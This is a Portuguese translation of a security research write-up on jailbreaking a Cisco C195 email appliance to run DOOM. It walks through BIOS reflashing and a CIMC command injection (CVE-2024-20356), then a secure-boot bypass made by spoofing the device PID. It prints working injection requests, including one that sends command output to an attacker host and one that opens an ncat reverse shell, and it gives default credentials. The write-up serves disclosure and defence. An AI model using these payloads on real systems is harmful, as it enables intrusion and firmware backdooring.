Pesquisadores realizam Jailbreak de um dispositivo Cisco para executar DOOM

Recentemente desmontei um deles para adaptá-lo como um servidor geral. Depois de ler online sobre o dispositivo, várias pessoas mencionaram que é impossível ignorar a inicialização segura para executar outros sistemas operacionais, pois isso é evitado por design por motivos de segurança.

Nesta aventura, a família de dispositivos Cisco C195 foi desbloqueada para executar código não intencional. Isso inclui a descoberta de uma vulnerabilidade no controlador de gerenciamento do corpo CIMC que afeta uma variedade de dispositivos diferentes, por meio da qual um usuário autenticado de alto privilégio pode obter acesso root subjacente ao BMC do servidor (CVE-2024-20356), que por si só possui alto nível acesso a vários outros componentes do sistema. O objetivo final era rodar o DOOM – se uma geladeira inteligente pode fazer isso, por que não a Cisco?

Lançamos um kit de ferramentas completo para detectar e explorar esta vulnerabilidade, que pode ser encontrado no GitHub abaixo:

 GitHub: https://github.com/nettitude/CVE-2024-20356

O uso do kit de ferramentas é demonstrado posteriormente neste artigo.

Hacking de BIOS

Nos bastidores, o dispositivo Cisco C195 é um servidor C220 M5. Este dispositivo é usado em um grande número de aparelhos diferentes. O produto inicial é adaptado para atender às necessidades do aparelho alvo. Isto por si só é uma técnica comum e uma forma válida de criar uma grande linha de produtos a partir de um design forte e conhecido. Embora isso tenha suas vantagens, significa que quaisquer falhas no design subjacente, no hardware ou no software de suporte são aparentes em vários tipos de dispositivos.

O C195 é um dispositivo 1U projetado para lidar com e-mails. Ele executa software Cisco personalizado fornecido por dois discos no dispositivo. Eu queria usar o dispositivo para outra finalidade, mas não consegui devido às restrições em vigor que impedem o dispositivo de inicializar software não autorizado. Este é um bom recurso de segurança para produtos, mas restringe a forma como eles podem ser usados.

À primeira vista no exterior, não havia nenhuma marca óbvia que indicasse que se tratava de um Cisco UCS C220 M5. Ao retirar a tampa, algumas etiquetas indicavam a verdadeira identidade do servidor. Além disso, uma tampa na parte traseira do aparelho, ao ser desparafusada, revelou uma porta VGA. Várias outras portas estavam presentes na parte traseira, como Console (Cisco Serial) e RPC (CIMC). A porta RPC estava conectada a uma rede, mas o dispositivo não respondeu.

A inicialização do dispositivo exibiu um BIOS AMI da marca Cisco. A configuração em si foi bloqueada e várias opções de configuração foram desativadas. O dispositivo implementou uma configuração de inicialização forte e segura por meio da qual somente arquivos ESA/Cisco Appliance EFI aprovados pela Cisco poderiam ser executados.

Eu poderia entrar em detalhes aqui sobre o que foi tentado, mas, para resumir, não consegui ver, modificar ou executar muita coisa.

O BIOS foi o primeiro alvo nesta cadeia de ataque. Fiquei interessado em ver como as diferentes versões do BIOS afetam a operação do dispositivo. Novos recursos geralmente vêm com novas superfícies de ataque, que representam novos vetores potenciais para explorar.

O dispositivo estava executando uma versão desatualizada do BIOS. Algumas ferramentas fornecidas para atualizar o BIOS não puderam ser executadas devido à configuração de inicialização segura bloqueada. Várias versões diferentes do BIOS foram experimentadas e testadas removendo o chip flash, atualizando o BIOS e colocando o chip de volta na placa. Para facilitar esse processo, criei um soquete DIY na placa-mãe e um pequeno suporte para o chip para atualizar facilmente o dispositivo em tempo real. Isso foi especialmente importante ao ler/observar continuamente que tipo de dados são gravados no flash e como eles são armazenados.

Observe que há três chips no total – o flash verde inferior é usado para CIMC/BMC, o do meio marcado em vermelho é o flash principal do BIOS e o superior (ligeiramente fora do quadro) é o flash de backup do BIOS.

O CH431A é um dispositivo muito poderoso e econômico que atua como uma multiferramenta para hacking de IoT (com a modificação de 3,3 V) . Seu núcleo foi projetado para atuar como um programador SPI, mas também possui uma interface UART. Resumindo, você pode conectar ou remover chips flash compatíveis com SPI do PCB de destino e usar o programador para interagir com o dispositivo. Você pode fazer um backup completo 1:1 desse chip para que, se algo der errado, você possa restaurar o estado original. Além disso, você também pode adulterar ou gravar no chip.

A captura de tela abaixo mostra a leitura do chip flash intermediário usando flashrom e o CH341A. Se estiver acompanhando, é importante fazer uma cópia do firmware abaixo, talvez duas, talvez três – mantenha-as seguras e armazene as versões originais com hashes MD5.

UEFITool é uma ótima maneira de visualizar diferentes partes de um UEFI BIOS moderno. Ele fornece uma análise das diferentes seções e o que elas fazem. Nas versões recentes, a capacidade de visualizar as áreas protegidas do Intel BootGuard está marcada, o que é especialmente importante ao atacar implementações UEFI.

Sobre o tema de adulteração do BIOS, por que não podemos simplesmente substituir o BIOS por uma versão que não tenha inicialização segura habilitada, tenha chaves que nos permitam inicializar outros arquivos EFI ou um backdoor que nos permita inicializar nosso próprio código? IntelBootGuard. Isso não é muito conhecido, mas é um recurso realmente interessante dos produtos baseados em Intel. Efetivamente, é uma inicialização segura para o próprio BIOS. As chaves públicas são gravadas nas CPUs usando fusíveis integrados. Essas chaves públicas podem ser usadas para validar o firmware que está sendo carregado. Há muito no Intel BootGuard, mas no interesse de manter este artigo curto (ish), por enquanto tudo que você precisa saber é que é uma raiz de confiança baseada em hardware, o que significa que você não pode modificar diretamente partes do firmware . Observe que ele não inclui todo o chip flash, pois também é usado para configuração/armazenamento do usuário, que não pode ser assinado facilmente.

O ISO de firmware mais recente foi obtido e o .caparquivo BIOS foi extraído.

O .caparquivo continha um cabeçalho de 2.048 bytes com informações importantes sobre o firmware. Isso seria lido pelas ferramentas integradas para atualizar o BIOS, garantindo que tudo esteja correto. Após remover o cabeçalho, ele precisa ser descompactado com bzip2.

A imagem de atualização do BIOS contém as informações que seriam colocadas na região do BIOS. Observe que não podemos atualizar o bios.caparquivo diretamente no chip flash, pois faltam seções importantes, como a seção Intel ME.

O .caparquivo em si possui outro cabeçalho 0x10D8(4312) que pode ser removido com um editor hexadecimal ou DD.

O arquivo de atualização e o BIOS original devem ser semelhantes no início. No entanto, faltam seções importantes no arquivo de atualização.

Para atualizar apenas o que estava na região do BIOS, podemos copiar o arquivo de atualização de 0x1000000(16777216) em diante para o arquivo flash no mesmo local. O DD pode ser usado para isso pegando a primeira metade do flash, a segunda metade da atualização e mesclando-as.

O firmware original deve corresponder em tamanho ao nosso novo firmware atualizado.

Só por segurança, podemos verificar com o UEFITool para ter certeza de que nada deu errado. A captura de tela abaixo mostra que tudo parece bem e os UUIDs dos novos volumes na região do BIOS foram atualizados.

Da mesma forma que o flash dump foi obtido, a imagem atualizada pode ser colocada de volta.

Com o BIOS atualizado para a versão mais recente, alguns novos recursos estão disponíveis. A tela do BIOS agora apresenta a opção de configurar o CIMC! Resultado! Infelizmente, ainda não podemos fazer alterações significativas na configuração, desativar a inicialização segura ou inicializar nosso próprio código.

Enquanto isso, descobrimos que o CIMC estava configurado com um IP estático de 0.0.0.0. Isso explicaria por que não pudemos interagir com ele antes. Um novo endereço IP foi definido e temos uma nova superfície de ataque para explorar.

CIMC, Cisco Integrated Management Console, é um pequeno controlador de gerenciamento de corpo (BMC) integrado baseado em ASPEED-Pilot-4. Este é um controlador apagado para o dispositivo, portanto pode ser usado como um KVM e uma solução de gerenciamento de energia. Nesta implementação, ele é usado para lidar com as funções principais do sistema, como gerenciamento de energia, controle de ventiladores, etc.

O próprio CIMC vem com um nome de usuário padrão “ admin” e uma senha padrão “ cisco”. O CIMC pode estar em uma interface dedicada ou compartilhar as NICs integradas. O CIMC tem controle total sobre o BIOS, chips periféricos, CPU integrada e vários outros sistemas executados no C195/C220.

Neste ponto, o usuário está livre para atualizar o CIMC para a versão mais recente e fazer alterações na configuração. Não foi possível desabilitar o processo de inicialização segura ou executar qualquer outro código além do sistema operacional assinado do Cisco Appliance. Embora tivéssemos a opção de configurar chaves de inicialização seguras, elas não entraram em vigor nem ocorreram alterações críticas na configuração. O CIMC reconheceu no painel que se tratava de um dispositivo C195.

Nesta fase, é possível atualizar o CIMC para outras versões utilizando a ferramenta update/flash.

CVE-2024-20356: Injeção de Comando

A ISO contendo as atualizações do BIOS também continha uma cópia do firmware CIMC.

Este firmware, junto com o BIOS, é bastante genérico para o modelo básico do dispositivo C220. Ele foi projetado para identificar o modelo do dispositivo e implementar as acomodações apropriadas, como bloquear determinados recursos ou disponibilizar novas funções. Isso economiza tempo na produção, pois uma boa compilação de firmware pode ser usada em uma variedade de dispositivos sem maiores problemas.

Como este firmware foi projetado para acomodar muitos tipos de dispositivos, observamos alguns arquivos e recursos interessantes ao longo do caminho.

O cimc.binarquivo localizado em /firmware/cimc/contém muitas informações.

A ferramenta binwalk pode ser usada para explorar essas informações. Em alto nível, o binwalk procurará padrões em arquivos para identificar locais de possíveis arquivos, sistemas de arquivos ou dados incorporados. Também pode ser extraído usando esta ferramenta. A captura de tela abaixo mostra um sistema uBoot Linux incorporado comum que usa um sistema de arquivos squashfs compactado para armazenar o sistema de arquivos raiz.

Ao examinar esses sistemas de arquivos, alguns arquivos interessantes foram descobertos. A biblioteca localizada em /usr/local/lib/appweb/liboshandler.sofoi usada para tratar solicitações ao servidor web. Este arquivo continha símbolos de depuração, facilitando a compreensão da estrutura da classe e para quais funções são utilizadas. A biblioteca foi descompilada usando Ghidra.

A ExpFwUpdateUtilityThreadfunção, parte do ExpUpdateAgent, foi afetada por uma vulnerabilidade de injeção de comando. A entrada enviada pelo usuário é validada, no entanto, foram permitidos determinados caracteres que podem ser usados ​​para executar comandos fora do escopo pretendido da aplicação.

/* ExpFwUpdateUtilityThread(void*) */

void * ExpFwUpdateUtilityThread ( void *param_1 )

{

  int iVar1;

  ProcessingException *pPVar2;

  indefinido4 uVar3;

  char *pcVar4;

  bool bVar5;

  auStack192 indefinido [ 92 ] ;

  string_básica < char,std::char_traits < char > ,std::allocator < char >> abStack100 [ 24 ] ;

A ExpFwUpdateUtilityThreadfunção é chamada de uma solicitação de API para o expRemoteFwUpdate. Isso leva quatro parâmetros e parece fornecer a capacidade de atualizar o firmware para controladores ou unidades SAS. O parâmetro path é validado em relação a uma lista de caracteres válidos conhecidos, que inclui $, (e ). A função executa a formatação de string com dados do usuário na seguinte string: curl -o %s %s://%s/%s %s. Após a validação bem-sucedida dos dados fornecidos pelo usuário, a string formatada é passada para system_secure(), que realiza validação adicional, porém ainda permite caracteres que podem ser usados ​​para injetar comandos por meio de substituição.

/* ExpFwUpdateUtilityThread(void*) */

se ( local_24 ​​== 0 ) {

    iVar1 = strcmp ( var_param_type, “tftp” ) ;

    if (( iVar1 == 0 ) || ( iVar1 = strcmp ( var_param_type, “http” ) , iVar1 == 0 )) {

      conjunto de memória ( &DAT_001a3798, 0 , 0x200 ) ;

      snprintf ( &DAT_001a3798, 0x200 , “curl -o %s %s://%s/%s %s” , “/tmp/fwimage.bin” ,var_param_type,

               var_host,var_path,local_48 ) ;

      iVar1 = system_check_user_input ( var_host, “geral_rule” ) ;

      if (( iVar1 == 0 ) ||

         (( iVar1 = system_check_user_input ( var_param_type, “general_rule” ) , iVar1 == 0 ||

          ( iVar1 = system_check_user_input ( var_path, “general_rule” ) , iVar1 == 0 )))) {

        bVar5 = verdadeiro ;

      }

      outro {

        bVar5 = falso ;

      }

      if ( bVar5 ) {

        pPVar2= ( ProcessingException* ) __cxa_allocate_exception ( 0xc ) ;

        ProcessingException:: ProcessingException ( pPVar2, “Parâmetros inválidos” ) ;

                    /* AVISO: Subrotina não retorna */

        __cxa_throw ( pPVar2,&ProcessingException::typeinfo,ProcessingException::~ProcessingException ) ;

      }

      set_status ( 1 , “DOWNLOAD” , ‘\0’ , local_2c,local_28 ) ;

      sistema_seguro ( &DAT_001a3798 ) ;

    }

A função a seguir é chamada para verificar a entrada em relação a uma lista de caracteres permitidos. 

indefinido4 system_check_user_input ( indefinido4 param_1,char *param_2 )

{

int iVar1;

caractere *local_1c;

indefinido4 local_18;

caractere *local_14;

indefinido4 local_10;

indefinido4 local_c;x

local_c = 0xffffffff ;

iVar1 = strcmp ( param_2, “password_rule” ) ;

if ( iVar1 == 0 ) {

local_1c =

” !\”#$&\'()*+,-./0123456789:;=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\_abcdefghijklmnopqrstuvwxyz{|}” ;

local_18 = 0x57 ;

local_c = FUN_000d8120 ( param_1,&local_1c ) ;

}

Embora a ExpFwUpdateUtilityThreadfunção execute algumas verificações na entrada do usuário, verificações adicionais são executadas com outra lista de caracteres permitidos.

indefinido4 sistema_secure ( indefinido4 param_1 )

{

indefinido4 uVar1;

caractere *local_10;

indefinido4 local_c;

local_10 =

” !\”#$&\'()*+,-./0123456789:;=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\_abcdefghijklmnopqrstuvwxyz{|}” ;

local_c = 0x57 ;

uVar1 = system_secure_ex ( param_1,&local_10 ) ;

retornar uVar1;

}

As chamadas de função , que após passar na validação executam o comando fornecido com .system_securesystem_secure_exsystem() 

int system_secure_ex ( char *param_1,indefinido4 param_2 )

{

  int iVar1;

  intlocal_c;

  local_c = -1 ;

  iVar1 = FUN_000d8120 ( parâmetro_1,parâmetro_2 ) ;

  if ( iVar1 == 1 ) {

    local_c= sistema ( param_1 ) ;

  }

  outro {

    syslog ( 3 , “%s:%d:ERR: O comando fornecido não está seguro para ser executado com system()\n” , “systemsecure.c ” ,

           0x98 ) ;

  }

  retornar local_c;

}

Podemos pegar o conhecimento aprendido na biblioteca acima e aplicá-lo na tentativa de explorar o problema. Isso pode ser conseguido usando $(echo $USER)para substituir o texto do nome de usuário atual. A função em si foi projetada para fazer uma curlsolicitação de download de atualizações de firmware de terceiros usando curl. Podemos usar essa funcionalidade para exfiltrar nosso comando executado.

A consulta a seguir pode ser usada para demonstrar a injeção de comando:

set=expRemoteFwUpdate("1", "http","192.168.0.96","/$(echo $USER)")

Isso pode ser colocado em uma solicitação POST para https://CIMC/dataum administrador sessionCookiee sessionID.

POST/dados HTTP/1.1

Anfitrião: 192.168.0.102

Cookie: sessionCookie=ef4eb2e3b0[REDIGIDO]

Comprimento do conteúdo: 189

Tipo de conteúdo: aplicativo/x-www-form-urlencoded

Consulte: https://192.168.0.102/index.html

sessionID=2132002102bb[REDIGIDO]&queryString=set%253dexpRemoteFwUpdate(%25221%25 22%252c%2520%2522http%2522%252c%2522192.168.0.96%2522%252c%2522%252f%2524(echo%2 520%2524USUÁRIO)%2522)

Isso é mostrado na imagem abaixo.

Quando a solicitação é feita, a saída do comando é recebida pelo servidor web do invasor.

Ter acesso ao sistema subjacente ao Cisco Integrated Management Console representa um risco significativo devido à quebra de confidencialidade, integridade e disponibilidade. Com esse nível de acesso, um agente de ameaça é capaz de ler, modificar e substituir informações no sistema em execução, visto que o CIMC possui um alto nível de acesso em todo o dispositivo. Além disso, como o acesso subjacente é concedido ao próprio firmware, isso representa um risco integral pelo qual um invasor pode introduzir um backdoor no firmware e impedir que os usuários descubram que o dispositivo foi comprometido. Finalmente, a disponibilidade pode ser afetada se o firmware for modificado, pois pode ser corrompido para impedir a inicialização do dispositivo sem um método de recuperação.

Isso pode ser levado um passo adiante para obter um shell reverso completo do BMC usando a seguinte string de consulta:

set=expRemoteFwUpdate("1", "http","192.168.0.96","/$(ncat 192.168.0.96 1337 -e /bin/sh)")

Em uma solicitação completa, isso seria codificado para:

POST/dados HTTP/1.1

Anfitrião: 192.168.0.102

Cookie: sessionCookie=05f0b903b0[REDIGIDO]

Comprimento do conteúdo: 228

Tipo de conteúdo: aplicativo/x-www-form-urlencoded

Consulte: https://192.168.0.102/index.html

sessionID=1e310e110fb[REDIGIDO]&queryString=set%253dexpRemoteFwUpdate(%25221%25 22%252c%2520%2522http%2522%252c%2522192.168.0.96%2522%252c%2522%252f%2524(ncat%2 520192.168.0.96%25201337%2520 -e%2520%252fbin%252fsh)%2522)

Isso é mostrado na imagem abaixo.

Um shell raiz completo no BMC subjacente é então recebido na porta 1337. A captura de tela a seguir demonstra isso identificando o usuário, a versão e o tipo de CPU atuais.

Observação: para obter o sessionCookiee sessionID, o usuário deve fazer login como administrador usando as credenciais padrão do admine password. O sessionCookiepode ser obtido dos cabeçalhos de resposta e do sessionIDcorpo da resposta em <sidValue>.

Portanto, temos a capacidade de executar comandos no CIMC. A próxima etapa envolve automatizar esse processo para facilitar o alcance de nosso objetivo de executar DOOM.

Tal como está, a vulnerabilidade de injeção de comando é cega. Você precisa aproveitar o curlcomando subjacente para exfiltrar dados. Isso é adequado para saídas pequenas, mas é interrompido quando o limite de URL é atingido ou se caracteres incomuns forem incluídos.

Outro método para exfiltrar informações foi identificado escrevendo um arquivo na raiz da web com um nome de arquivo específico para corresponder ao regex dentro da configuração do nginx.

A seção a seguir na configuração é usada para servir apenas determinados arquivos no diretório raiz da web. Isso inclui documentos comuns como index.html, 401.html, 403.htmletc. O nome do arquivo “ in.html” corresponde a este regex e não é usado atualmente.

O kit de ferramentas usa isso para obter a saída do comando. A saída do comando é gravada em /usr/local/www/in.html.

CVE-2024-20356: Kit de ferramentas de exploração

Para automatizar esse processo, criei uma ferramenta chamada CISCown que permite testar a vulnerabilidade, explorar a vulnerabilidade e até mesmo abrir um serviço shell raiz telnetd.

O kit de exploração usa alguns parâmetros:

• -tALVO
• -uNOME DE USUÁRIO
• -pSENHA
• -vVERBOSE (obtém mais informações sobre o CIMC)
• -aAÇÃO
  • “test” tenta explorar a injeção de comando ecoando um número aleatório para “in.html” e lendo-o
  • “cmd” executa um comando (padrão se -c for fornecido)
  • “shell” executa “busybox telnetd -l /bin/sh -p 23”
  • “dance” faz um show de luzes
• -cDMC

O kit de ferramentas pode ser encontrado no GitHub abaixo:

 GitHub: https://github.com/nettitude/CVE-2024-20356

Alguns exemplos de uso da ferramenta são mostrados abaixo.

Testando a vulnerabilidade:

Explorando a vulnerabilidade com ido comando:

Explorando a vulnerabilidade para cat /proc/cpuinfoverificar a CPU em uso:

Explorando a vulnerabilidade para obter um shell Telnet completo:

Explorando a vulnerabilidade da dança (sim, isso está no kit de ferramentas):

Comprometendo a cadeia de inicialização segura

Temos acesso root no BMC, mas ainda não podemos executar nosso próprio código no servidor principal. Mesmo depois de modificar algumas configurações no BIOS e na página de administração do CIMC da web, não foi possível executar arquivos EFI não assinados com as chaves do Cisco Appliance.

O menu de inicialização abaixo contém apenas um dispositivo de inicialização, o shell EFI.

Se um pendrive estiver conectado, o dispositivo emite um Secure Boot Violationaviso e volta para o shell EFI.

Nem é possível usar o shell EFI para inicializar arquivos EFI não assinados pela Cisco.

A opção para desativar a inicialização segura ainda estava esmaecida.

Em geral, a inicialização segura é baseada em quatro bancos de dados principais:

• db – Banco de dados de assinaturas – Banco de dados de assinaturas permitidas
• dbx – Banco de dados de assinaturas proibidas – Banco de dados de assinaturas revogadas
• kek – Key Exchange Key – Chaves usadas para assinar db e dbx
• pk – Platform Key – Chave de nível superior na inicialização segura

O próprio dispositivo contém apenas chaves db para aplicativos/arquivos EFI autorizados do dispositivo Cisco. Isso significa que existem restrições para restringir o que o dispositivo pode inicializar/carregar, incluindo módulos EFI. Algumas pesquisas foram realizadas sobre como o dispositivo lida com a inicialização segura e a cadeia de confiança.

Para comprometer a cadeia de inicialização segura, precisamos encontrar uma maneira de desabilitar a inicialização segura ou usar nossos próprios bancos de dados de chaves. A especificação UEFI afirma que os fornecedores podem armazenar essas chaves em vários locais, como no próprio flash do BIOS, no TPM ou externamente.

Ao examinar o CIMC e o BMC, foi descoberto um script interessante que é executado na inicialização. A intenção por trás deste script é preparar o BIOS com os bancos de dados e configurações de inicialização segura apropriados.

O script define vários locais codificados para diferentes perfis suportados pelo CIMC.

Quando o script é executado, o dispositivo obtém o valor PID atual. No nosso caso foi C195, sendo o modelo do aparelho. Observe que o script abaixo primeiro tenta buscar isso /tmp/pid_validatede, se não conseguir encontrar esse arquivo, ele lerá o PID da FRU do gerenciamento da plataforma. Isso será exibido C195, que será salvo em /tmp/pid_validated.

O script irá então verificar o PID em relação a todos os perfis suportados.

Isso é feito para cada tipo de perfil definido na parte superior do script. Esses perfis contêm todos os bancos de dados de chaves de inicialização segura , como PK, e .KEKDBDBX

A verificação pega o PID C195e o passa para is_stbu_rel, que possui um pequeno padrão regex para determinar qual é o dispositivo. Se corresponder, diversas variáveis ​​serão configuradas e update_pers_datachamadas para definir o perfil de inicialização segura a ser usado. O perfil é o que o BIOS usa como armazenamento de chaves para inicialização segura.

A cadeia de confiança aqui é a seguinte:

• FRU -> BMC com os valores PID
• BMC -> BIOS com as chaves de inicialização seguras

Como comprometemos o BMC, podemos interceptar ou modificar este processo com nosso próprio PID ou chaves. Ao criar ou substituir o /tmp/pid_validatedarquivo, podemos bios_secure_vars_setup.shpensar que o dispositivo é outra coisa e fornecer um conjunto diferente de chaves.

O exemplo a seguir demonstra a alteração do dispositivo para o ND-NODE-L4perfil que suporta uma gama mais ampla de módulos e fornecedores EFI permitidos.

NOTA: FAÇA BACKUP DO BIOS NESTE PONTO!

Primeiro desligue o dispositivo e certifique-se de ter feito um backup do BIOS. Esta é uma etapa importante, pois modificar chaves de inicialização seguras que não autorizam a execução de componentes principais pode impedir a inicialização do dispositivo (essencialmente bloqueando-o).

O PID é o seguinte: C195.

O /tmp/pid_validatedarquivo foi substituído por um novo PID de ND-NODE-L4.

O bios_secure_vars_setup.shscript foi executado novamente para reinicializar o ambiente de inicialização seguro.

O dispositivo pode então ser ligado novamente. Ao ligar o dispositivo, vários outros dispositivos de inicialização estavam disponíveis nos controladores Ethernet. Este é um bom sinal, pois significa que mais módulos EFI foram carregados.

O gerenciador de dispositivos de inicialização ou shell EFI pode ser usado para inicializar em uma unidade externa contendo um sistema operacional compatível com UEFI. No meu caso, eu estava usando um pendrive conectado na parte traseira do aparelho.

Em vez de um erro de acesso negado, bootx64.efifoi carregado com sucesso e o Ubuntu foi iniciado, demonstrando que agora temos código não padrão em execução no Cisco C195 Email Appliance.

Finalmente para completar o objetivo principal:

Concluindo, é possível seguir essa cadeia de ataque para redirecionar um dispositivo Cisco para executar o DOOM. A cadeia completa incorporou:

• Modificando o BIOS para expor o CIMC à rede.
• Atacar o sistema de gerenciamento CIMC pela rede por meio da vulnerabilidade de execução remota de comando (CVE-2024-20356) para obter acesso root a um componente crítico do sistema.
• Finalmente, comprometer a cadeia de inicialização segura modificando o PID do dispositivo para usar outras chaves de inicialização segura.

Para resolver esta vulnerabilidade, é melhor seguir os seguintes conselhos para reduzir a probabilidade e o impacto da exploração:

• Altere as credenciais padrão e mantenha uma política de senha forte.
• Atualize o dispositivo para uma versão que corrija CVE-2024-20356.

Divulgação

Embora possa parecer legal executar o DOOM em um dispositivo Cisco Appliance, a vulnerabilidade explorada representa uma ameaça à confidencialidade, integridade e disponibilidade dos dados armazenados e processados ​​no servidor. O problema em si poderia ser usado para criar backdoors na máquina e executar código não autorizado, o que é especialmente impactante, dado que o controlador de gerenciamento do corpo tem um alto nível de acesso em todo o dispositivo.

O produto testado neste artigo foi o C195/C220 M5 - CIMC 4.2(3e). No entanto, como o firmware é usado em vários dispositivos diferentes, essa vulnerabilidade afetaria vários produtos diferentes. A lista completa de afetados pode ser encontrada no site da Cisco abaixo:

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-cmd-inj-bLuPcb

A Cisco foi inicialmente informada do problema em 6 de dezembro de 2023 e iniciou a triagem em 7 de dezembro de 2023. O Cisco PSIRT respondeu dentro de 24 horas após o contato inicial e imediatamente começou a trabalhar nas correções. Uma data de divulgação pública foi acordada para 17 de abril de 2024, e o CVE-2024-20356 foi atribuído pelo fornecedor com uma classificação de gravidade Alta ( pontuação CVSS de 8,7 ). Gostaria de agradecer a Todd Reid, Amber Hurst, Mick Buchanan e Marco Cassini da Cisco por colaborarem conosco para resolver o problema.